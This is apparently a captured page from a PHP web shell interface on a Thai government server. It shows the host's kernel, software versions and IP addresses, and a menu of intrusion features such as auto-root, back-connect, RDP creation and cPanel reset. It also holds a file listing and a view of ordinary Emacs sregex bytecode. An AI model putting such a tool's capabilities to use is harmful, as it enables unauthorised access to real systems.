Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
emacs-lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
advice.elc
60.71
KB
-rw-r--r--
assoc.elc
4.37
KB
-rw-r--r--
authors.elc
27.41
KB
-rw-r--r--
autoload.elc
15.7
KB
-rw-r--r--
avl-tree.elc
15.92
KB
-rw-r--r--
backquote.elc
4.46
KB
-rw-r--r--
benchmark.elc
3.33
KB
-rw-r--r--
bindat.elc
10.84
KB
-rw-r--r--
byte-opt.elc
34.22
KB
-rw-r--r--
byte-run.elc
6.65
KB
-rw-r--r--
bytecomp.elc
124.99
KB
-rw-r--r--
check-declare.elc
8.77
KB
-rw-r--r--
checkdoc.elc
65.08
KB
-rw-r--r--
cl-compat.elc
4.28
KB
-rw-r--r--
cl-extra.elc
21.48
KB
-rw-r--r--
cl-indent.elc
13.98
KB
-rw-r--r--
cl-loaddefs.el
39.57
KB
-rw-r--r--
cl-macs.elc
99.36
KB
-rw-r--r--
cl-seq.elc
43.98
KB
-rw-r--r--
cl-specs.el
13.87
KB
-rw-r--r--
cl.elc
20.74
KB
-rw-r--r--
copyright.elc
8.64
KB
-rw-r--r--
crm.elc
7.94
KB
-rw-r--r--
cust-print.elc
12.77
KB
-rw-r--r--
debug.elc
24.86
KB
-rw-r--r--
derived.elc
10.72
KB
-rw-r--r--
disass.elc
5.09
KB
-rw-r--r--
easy-mmode.elc
14.85
KB
-rw-r--r--
easymenu.elc
20.15
KB
-rw-r--r--
edebug.elc
100.82
KB
-rw-r--r--
eldoc.elc
15.31
KB
-rw-r--r--
elint.elc
19.76
KB
-rw-r--r--
elp.elc
12.78
KB
-rw-r--r--
ewoc.elc
28.62
KB
-rw-r--r--
find-func.elc
17.26
KB
-rw-r--r--
find-gc.elc
3.74
KB
-rw-r--r--
float-sup.elc
1.39
KB
-rw-r--r--
generic.elc
6.55
KB
-rw-r--r--
gulp.elc
4.82
KB
-rw-r--r--
helper.elc
3.84
KB
-rw-r--r--
levents.elc
10.29
KB
-rw-r--r--
lisp-mnt.elc
21.87
KB
-rw-r--r--
lisp-mode.elc
37.14
KB
-rw-r--r--
lisp.elc
21.61
KB
-rw-r--r--
lmenu.elc
11.67
KB
-rw-r--r--
lucid.elc
6.22
KB
-rw-r--r--
macroexp.elc
4.45
KB
-rw-r--r--
map-ynp.elc
6.3
KB
-rw-r--r--
pp.elc
5.09
KB
-rw-r--r--
re-builder.elc
22.36
KB
-rw-r--r--
regexp-opt.elc
4.43
KB
-rw-r--r--
regi.elc
6.15
KB
-rw-r--r--
ring.elc
6.41
KB
-rw-r--r--
rx.elc
26.61
KB
-rw-r--r--
shadow.elc
5.63
KB
-rw-r--r--
sregex.elc
12.45
KB
-rw-r--r--
syntax.elc
5.18
KB
-rw-r--r--
tcover-ses.elc
14.68
KB
-rw-r--r--
tcover-unsafep.elc
4.09
KB
-rw-r--r--
testcover.elc
13.41
KB
-rw-r--r--
timer.elc
22.73
KB
-rw-r--r--
tq.elc
3.94
KB
-rw-r--r--
trace.elc
5.28
KB
-rw-r--r--
unsafep.elc
5.01
KB
-rw-r--r--
warnings.elc
9.61
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sregex.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:02:56 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/emacs-lisp/sregex.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`sregex.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\301B\302\301!\204 \303\301\304\"\210\304\207" [current-load-list sregex--current-sregex default-boundp set-default nil] 3) (defalias 'sregex-info #[nil "\300\207" [nil] 1]) (defalias 'sregex-save-match-data '(macro . #[(&rest forms) "\301B\207" [forms save-match-data] 2])) (defalias 'sregex-replace-match #[(r &optional f l str subexp x) "\305 \n\f%\207" [r f l str subexp replace-match] 6]) (defalias 'sregex-match-string #[(c &optional i x) "\302 \"\207" [c i match-string] 3]) (defalias 'sregex-match-string-no-properties #[(count &optional in-string sregex) "\302 \"\207" [count in-string match-string-no-properties] 3]) (defalias 'sregex-match-beginning #[(count &optional sregex) "\224\207" [count] 1]) (defalias 'sregex-match-end #[(count &optional sregex) "\225\207" [count] 1]) (defalias 'sregex-match-data #[(&optional sregex) "\300 \207" [match-data] 1]) (defalias 'sregex-backref-num #[(n &optional sregex) "\207" [n] 1]) #@495 Symbolic regular expression interpreter. This is exactly like `sregexq' (q.v.) except that it evaluates all its arguments, so literal sregex clauses must be quoted. For example: (sregex '(or "Bob" "Robert")) => "Bob\\|Robert" An argument-evaluating sregex interpreter lets you reuse sregex subexpressions: (let ((dotstar '(0+ any)) (whitespace '(1+ (syntax ?-))) (digits '(1+ (char (?0 . ?9))))) (sregex 'bol dotstar ":" whitespace digits)) => "^.*:\\s-+[0-9]+" (defalias 'sregex #[(&rest exps) "\301\302\"\207" [exps sregex--sequence nil] 3 (#$ . 1574)]) #@6843 Symbolic regular expression interpreter. This macro allows you to specify a regular expression (regexp) in symbolic form, and converts it into the string form required by Emacs's regex functions such as `re-search-forward' and `looking-at'. Here is a simple example: (sregexq (or "Bob" "Robert")) => "Bob\\|Robert" As you can see, an sregex is specified by placing one or more special clauses in a call to `sregexq'. The clause in this case is the `or' of two strings (not to be confused with the Lisp function `or'). The list of allowable clauses appears below. With `sregex', it is never necessary to "escape" magic characters that are meant to be taken literally; that happens automatically. For example: (sregexq "M*A*S*H") => "M\\*A\\*S\\*H" It is also unnecessary to "group" parts of the expression together to overcome operator precedence; that also happens automatically. For example: (sregexq (opt (or "Bob" "Robert"))) => "\\(Bob\\|Robert\\)?" It *is* possible to group parts of the expression in order to refer to them with numbered backreferences: (sregexq (group (or "Go" "Run")) ", Spot, " (backref 1)) => "\\(Go\\|Run\\), Spot, \\1" If `sregexq' needs to introduce its own grouping parentheses, it will automatically renumber your backreferences: (sregexq (opt "resent-") (group (or "to" "cc" "bcc")) ": " (backref 1)) => "\\(resent-\\)?\\(to\\|cc\\|bcc\\): \\2" `sregexq' is a macro. Each time it is used, it constructs a simple Lisp expression that then invokes a moderately complex engine to interpret the sregex and render the string form. Because of this, I don't recommend sprinkling calls to `sregexq' throughout your code, the way one normally does with string regexes (which are cheap to evaluate). Instead, it's wiser to precompute the regexes you need wherever possible instead of repeatedly constructing the same ones over and over. Example: (let ((field-regex (sregexq (opt "resent-") (or "to" "cc" "bcc")))) ... (while ... ... (re-search-forward field-regex ...) ...)) The arguments to `sregexq' are automatically quoted, but the flipside of this is that it is not straightforward to include computed (i.e., non-constant) values in `sregexq' expressions. So `sregex' is a function that is like `sregexq' but which does not automatically quote its values. Literal sregex clauses must be explicitly quoted like so: (sregex '(or "Bob" "Robert")) => "Bob\\|Robert" but computed clauses can be included easily, allowing for the reuse of common clauses: (let ((dotstar '(0+ any)) (whitespace '(1+ (syntax ?-))) (digits '(1+ (char (?0 . ?9))))) (sregex 'bol dotstar ":" whitespace digits)) => "^.*:\\s-+[0-9]+" Here are the clauses allowed in an `sregex' or `sregexq' expression: - a string This stands for the literal string. If it contains metacharacters, they will be escaped in the resulting regex (using `regexp-quote'). - the symbol `any' This stands for ".", a regex matching any character except newline. - the symbol `bol' Stands for "^", matching the empty string at the beginning of a line - the symbol `eol' Stands for "$", matching the empty string at the end of a line - (group CLAUSE ...) Groups the given CLAUSEs using "\\(" and "\\)". - (sequence CLAUSE ...) Groups the given CLAUSEs; may or may not use "\\(" and "\\)". Clauses grouped by `sequence' do not count for purposes of numbering backreferences. Use `sequence' in situations like this: (sregexq (or "dog" "cat" (sequence (opt "sea ") "monkey"))) => "dog\\|cat\\|\\(?:sea \\)?monkey" where a single `or' alternate needs to contain multiple subclauses. - (backref N) Matches the same string previously matched by the Nth "group" in the same sregex. N is a positive integer. - (or CLAUSE ...) Matches any one of the CLAUSEs by separating them with "\\|". - (0+ CLAUSE ...) Concatenates the given CLAUSEs and matches zero or more occurrences by appending "*". - (1+ CLAUSE ...) Concatenates the given CLAUSEs and matches one or more occurrences by appending "+". - (opt CLAUSE ...) Concatenates the given CLAUSEs and matches zero or one occurrence by appending "?". - (repeat MIN MAX CLAUSE ...) Concatenates the given CLAUSEs and constructs a regex matching at least MIN occurrences and at most MAX occurrences. MIN must be a non-negative integer. MAX must be a non-negative integer greater than or equal to MIN; or MAX can be nil to mean "infinity." - (char CHAR-CLAUSE ...) Creates a "character class" matching one character from the given set. See below for how to construct a CHAR-CLAUSE. - (not-char CHAR-CLAUSE ...) Creates a "character class" matching any one character not in the given set. See below for how to construct a CHAR-CLAUSE. - the symbol `bot' Stands for "\\`", matching the empty string at the beginning of text (beginning of a string or of a buffer). - the symbol `eot' Stands for "\\'", matching the empty string at the end of text. - the symbol `point' Stands for "\\=\=", matching the empty string at point. - the symbol `word-boundary' Stands for "\\b", matching the empty string at the beginning or end of a word. - the symbol `not-word-boundary' Stands for "\\B", matching the empty string not at the beginning or end of a word. - the symbol `bow' Stands for "\\=\<", matching the empty string at the beginning of a word. - the symbol `eow' Stands for "\\=\>", matching the empty string at the end of a word. - the symbol `wordchar' Stands for the regex "\\w", matching a word-constituent character (as determined by the current syntax table) - the symbol `not-wordchar' Stands for the regex "\\W", matching a non-word-constituent character. - (syntax CODE) Stands for the regex "\\sCODE", where CODE is a syntax table code (a single character). Matches any character with the requested syntax. - (not-syntax CODE) Stands for the regex "\\SCODE", where CODE is a syntax table code (a single character). Matches any character without the requested syntax. - (regex REGEX) This is a "trapdoor" for including ordinary regular expression strings in the result. Some regular expressions are clearer when written the old way: "[a-z]" vs. (sregexq (char (?a . ?z))), for instance. Each CHAR-CLAUSE that is passed to (char ...) and (not-char ...) has one of the following forms: - a character Adds that character to the set. - a string Adds all the characters in the string to the set. - A pair (MIN . MAX) Where MIN and MAX are characters, adds the range of characters from MIN through MAX to the set. (defalias 'sregexq '(macro . #[(&rest exps) "\301\302\303DE\207" [exps apply 'sregex quote] 4 (#$ . 2171)])) (defalias 'sregex--engine #[(exp combine) ";\203! \203 \302=\203 G\303U\204 \304\305!\306Q\207\305!\2079\203\220 \307=\203. \310\207\311=\2036 \312\207\313=\203>